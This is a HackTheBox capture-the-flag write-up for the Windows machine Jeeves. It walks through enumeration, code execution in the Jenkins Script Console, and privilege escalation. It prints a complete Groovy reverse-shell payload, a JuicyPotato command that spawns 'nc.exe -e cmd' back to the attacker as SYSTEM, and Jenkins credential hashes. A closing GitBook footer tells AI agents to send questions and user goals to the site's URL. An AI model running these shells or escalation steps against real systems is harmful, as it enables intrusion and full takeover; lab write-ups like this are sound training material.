> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Jeeves HackTheBox Writeup

Jeeves HackTheBox Medium Windows machine writeup covering Jenkins Script Console RCE, Groovy reverse shells, JuicyPotato, SeImpersonatePrivilege, and Alternate Data Streams.

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Skills**

* Network and web-service enumeration with Nmap and Gobuster.
* Jenkins Script Console remote code execution using Groovy.
* Windows privilege escalation with `SeImpersonatePrivilege` and JuicyPotato.
* NTFS Alternate Data Stream discovery and extraction.
  {% endhint %}

### Reconnaissance

#### Prepare the workspace

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fp5l0YHO2gSHtBfCwsjwX%2Fimage.png?alt=media&amp;token=80310086-70eb-4139-83d8-aed244bc0daa" alt=""><figcaption></figcaption></figure>

#### Identify the operating system

The TTL value of `128` indicates a Windows host.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5jFy9CUPomhKJANnIbOL%2Fimage.png?alt=media&amp;token=cda5452b-ea2e-4a6c-9206-701d206ca429" alt=""><figcaption></figcaption></figure>

#### Scan for open ports

Run a full TCP SYN scan:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts
```

The scan identifies ports `80`, `135`, `445`, and `50000`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYkmmNVaGo0REDPfM03ls%2Fimage.png?alt=media&amp;token=0545139f-08cb-4ae8-8059-1e5c4524668a" alt=""><figcaption></figcaption></figure>

Run targeted service and version detection:

```bash
nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuP3RgVUGTYfOqlAkWWHu%2Fimage.png?alt=media&amp;token=bc3cf72f-c314-4809-8220-ad7e34f6308f" alt=""><figcaption></figcaption></figure>

#### Inspect the web service

Port `50000` identifies itself as Jetty:

`Powered by Jetty:// 9.4.z-SNAPSHOT`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7IgTqnahoF6EtTOKW6nJ%2Fimage.png?alt=media&amp;token=aa5c877e-0782-4bec-8276-44ce3b7b7a16" alt=""><figcaption></figcaption></figure>

Enumerate web paths:

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6lA1BnuTx6uwzFckEFyX%2Fimage.png?alt=media&amp;token=f4d7ed91-30c9-4447-abb7-3600682fb702" alt=""><figcaption></figcaption></figure>

The `/askjeeves` path hosts Jenkins `2.87`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjUW5aId6UYTqWSQnwELs%2Fimage.png?alt=media&amp;token=b581b11e-5f4a-404e-b977-691d4af99d53" alt=""><figcaption></figcaption></figure>

### Initial access

#### Use the Jenkins Script Console

Open the **Script Console** at `/askjeeves/script`. It accepts Groovy code and runs it on the Jenkins host.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgHFbFoVHTPZXDVRo6eYN%2Fimage.png?alt=media&amp;token=b7c32c15-88b6-46c3-9ecd-78c20bd1879b" alt=""><figcaption></figcaption></figure>

Run a harmless command to confirm code execution:

```groovy
def process = "PowerShell.exe cmd.exe /c dir".execute()
println "Found text ${process.text}"
```

The command output confirms remote code execution.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FprrUu6VQdEs9BI6rtkZC%2Fimage.png?alt=media&amp;token=96704baa-6567-42b8-8081-80e46be5d13d" alt=""><figcaption></figcaption></figure>

#### Obtain a reverse shell

Start a listener on port `443`:

```bash
sudo rlwrap nc -nvlp 443
```

Run this Groovy payload in the Script Console. Replace the callback address and port as needed.

{% code overflow="wrap" %}

```groovy
Thread.start {
String host="10.10.15.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
```

{% endcode %}

The listener receives a shell as `kohsuke`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfjawZKXRlyqSQbCY6w45%2Fimage.png?alt=media&amp;token=c8566621-ea77-479b-b7ff-5da8f3557fe0" alt=""><figcaption></figcaption></figure>

#### Review Jenkins credentials

The Jenkins configuration contains an encrypted API token:

{% code overflow="wrap" %}

```bash
AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw==
```

{% endcode %}

It also stores the administrator password as a BCrypt hash:

{% code overflow="wrap" %}

```bash
$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo1jp46eNfFUgn3O6U5rH%2Fimage.png?alt=media&amp;token=a1a37c1d-4efb-4fbb-a4d1-b326e56602da" alt=""><figcaption></figcaption></figure>

#### Capture the user flag

{% code overflow="wrap" %}

```bash
type C:\Users\kohsuke\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F23OEmwXPHnpyK8EUCxfF%2Fimage.png?alt=media&amp;token=34374874-6628-48d8-bc01-5143706806b0" alt=""><figcaption></figcaption></figure>

### Privilege escalation

#### Transfer the required tools

Host the files from the attacker machine:

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Copy `nc.exe` and JuicyPotato to the target:

{% code overflow="wrap" %}

```bash
copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe
```

{% endcode %}

```bash
copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FESrLf5YSFgIBOoDaONYl%2Fimage.png?alt=media&amp;token=e2ce0149-338b-4f76-aca1-ad0ff8508599" alt=""><figcaption></figcaption></figure>

#### Exploit `SeImpersonatePrivilege`

Start a listener for the elevated shell:

{% code overflow="wrap" %}

```bash
rlwrap nc -nlvp 4444
```

{% endcode %}

Run JuicyPotato to spawn `nc.exe` as `NT AUTHORITY\SYSTEM`:

{% code overflow="wrap" %}

```bash
.\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444"
```

{% endcode %}

The callback runs as `NT AUTHORITY\SYSTEM`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhIN4Z86m8iJHIerulqL8%2Fimage.png?alt=media&amp;token=d1a66516-50ed-49ef-8e77-6a82f597665f" alt=""><figcaption></figcaption></figure>

### Root flag

List alternate data streams in the Administrator desktop directory:

```cmd
cd C:\Users\Administrator\Desktop
dir /r
```

The output shows the flag in the `hm.txt:root.txt:$DATA` stream. Read it directly:

```bash
more < hm.txt:root.txt:$DATA
```

This completes the machine as `NT AUTHORITY\SYSTEM`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKQnhNBDF9syZbsWUSwBW%2Fimage.png?alt=media&amp;token=b527308d-7019-4534-a58d-1fd1046a23f0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcTRj5nHStNJyCplC0Dnl%2Fimage.png?alt=media&amp;token=92bc0bd3-f976-4e3c-a90d-e18bec111bc0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
